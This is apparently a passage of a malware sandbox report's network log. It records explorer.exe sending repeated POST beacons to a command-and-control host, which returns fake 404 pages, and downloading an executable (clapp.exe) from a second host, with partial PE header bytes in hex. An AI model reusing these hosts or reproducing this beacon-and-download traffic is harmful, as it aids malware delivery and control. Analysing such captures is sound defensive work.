3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 
64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

24 192.168.2.4 49867 47.74.84.15 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Nov 9, 2021 
22:21:47.884145021 CET

9106 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://ukalfymca.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 318
Host: nalirou70.top

Nov 9, 2021 
22:21:48.863132954 CET

9120 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Tue, 09 Nov 2021 21:21:48 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 32 61 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 86 4c 02 71 17 e9 f7 dc fc be 1e b4 
53 dd 6e b6 46 4f da 00 e9 ec 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 2aI:82OLqSnFO0

Session ID Source IP Source Port Destination IP Destination Port Process

25 192.168.2.4 49870 47.74.84.15 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Nov 9, 2021 
22:21:49.553529024 CET

10153 OUT GET /clapp.exe HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: hajezey10.top
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Nov 9, 2021 
22:21:50.416901112 CET

10507 IN HTTP/1.1 200 OK
Date: Tue, 09 Nov 2021 21:21:50 GMT
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38
Last-Modified: Tue, 09 Nov 2021 21:21:02 GMT
ETag: "59400-5d061afb7963f"
Accept-Ranges: bytes
Content-Length: 365568
Connection: close
Content-Type: application/octet-stream
Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 
65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd 92 82 96 f9 f3 ec c5 f9 f3 ec c5 f9 f3 ec c5 96 85 47 c5 d3 f3 ec c5 96 85 72 c5 
e8 f3 ec c5 96 85 46 c5 9e f3 ec c5 f0 8b 7f c5 fe f3 ec c5 f9 f3 ed c5 7c f3 ec c5 96 85 43 c5 f8 f3 ec c5 96 85 76 c5 f8 f3 ec
c5 96 85 71 c5 f8 f3 ec c5 52 69 63 68 f9 f3 ec c5 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 32 b7 75 60 00 00 00 
00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 30 04 00 00 a6 70 02 00 00 00 00 10 9e 02 00 00 10 00 00 00 40 04 00 00 00 
40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 75 02 00 04 00 00 a6 1f 06 00 02 
00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 9c 32 04 00 
50 00 00 00 00 b0 73 02 10 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 02 b0 17 00 00 40 12 00 
00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 97 02 00 40 00 00 00 00 00 
00 00 00 00 00 00 00 10 00 00 ec 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 
74 65 78 74 00 00 00 58 2e 04 00 00 10 00 00 00 30 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 
2e 64 61 74 61 00 00 00 2c 64 6f 02 00 40 04 00 00 12 00 00 00 34 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 
c0 2e 72 73 72 63 00 00 00 10 42 00 00 00 b0 73 02 00 44 00 00 00 46 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 
00 40 2e 72 65 6c 6f 63 00 00 c8 09 01 00 00 00 74 02 00 0a 01 00 00 8a 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 
00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 
Data Ascii: MZ@!L!This program cannot be run in DOS mode.$GrF|CvqRichPEL2u`0p@@u2PsBt@@.textX.0 `.da
ta,do@4@.rsrcBsDF@@.reloct@B

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

26 192.168.2.4 49873 47.74.84.15 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Nov 9, 2021 
22:21:56.331912041 CET

10891 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://muqembbjlb.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 273
Host: nalirou70.top

Nov 9, 2021 
22:21:57.324249029 CET

10900 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Tue, 09 Nov 2021 21:21:56 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 
64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

27 192.168.2.4 49876 47.74.84.15 80 C:\Windows\explorer.exe
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Timestamp
kBytes
transferred Direction Data

Nov 9, 2021 
22:21:57.647646904 CET

10901 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://crrgldha.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 235
Host: nalirou70.top

Nov 9, 2021 
22:21:58.624716043 CET

10902 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Tue, 09 Nov 2021 21:21:58 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 
64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

28 192.168.2.4 49877 47.74.84.15 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Nov 9, 2021 
22:21:58.953413010 CET

10903 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://hbrlkj.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 132
Host: nalirou70.top

Nov 9, 2021 
22:21:59.950552940 CET

10904 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Tue, 09 Nov 2021 21:21:59 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 
64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

29 192.168.2.4 49879 47.74.84.15 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Nov 9, 2021 
22:22:00.281280994 CET

10905 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://lvejmcuwnq.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 151
Host: nalirou70.top
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Nov 9, 2021 
22:22:01.260890961 CET

10906 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Tue, 09 Nov 2021 21:22:00 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 36 37 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 84 42 09 25 16 f9 b5 8f bd b8 15 a5 0c 
ce 2c b4 59 52 db 04 e5 fd 28 e3 22 58 1b b2 ed cf 00 b4 51 df 43 d0 fe 2e 83 21 eb af 95 53 2d e5 b4 4f 28 e3 b3 b5 6e fb 
91 b4 5f ab 74 90 cc 36 43 57 39 09 4e dc bb 41 bb e8 51 85 b1 ca 0d cd 3a d6 cf 74 6a 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 67I:82OB%,YR("XQC.!S-O(n_t6CW9NAQ:tj0

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

3 192.168.2.4 49779 47.74.84.15 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Nov 9, 2021 
22:20:48.773745060 CET

1211 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://pstanat.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 205
Host: nalirou70.top

Nov 9, 2021 
22:20:49.752573013 CET

1212 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Tue, 09 Nov 2021 21:20:49 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 0d 0a 14 00 00 00 7b fa f7 18 b5 69 2b 2c 47 fa 0e a8 c1 82 9f 4f 1a c4 da 16 00 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 19{i+,GO0

Session ID Source IP Source Port Destination IP Destination Port Process

30 192.168.2.4 49881 47.74.84.15 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Nov 9, 2021 
22:22:03.488976002 CET

11320 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://rvlwdspfo.org/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 182
Host: nalirou70.top

Nov 9, 2021 
22:22:04.466861963 CET

11321 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Tue, 09 Nov 2021 21:22:04 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 
64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

31 192.168.2.4 49882 47.74.84.15 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data
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Nov 9, 2021 
22:22:04.794352055 CET

11322 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://kcurrvlwmx.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 268
Host: nalirou70.top

Nov 9, 2021 
22:22:05.783566952 CET

11323 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Tue, 09 Nov 2021 21:22:05 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 
64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

32 192.168.2.4 49884 47.74.84.15 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Nov 9, 2021 
22:22:06.118443966 CET

11324 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://ykpbkuficw.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 274
Host: nalirou70.top

Nov 9, 2021 
22:22:07.083628893 CET

11325 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Tue, 09 Nov 2021 21:22:06 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 
64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

33 192.168.2.4 49885 47.74.84.15 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Nov 9, 2021 
22:22:07.410958052 CET

11326 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://bfwrlwg.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 179
Host: nalirou70.top
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Nov 9, 2021 
22:22:08.415822029 CET

11327 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Tue, 09 Nov 2021 21:22:08 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
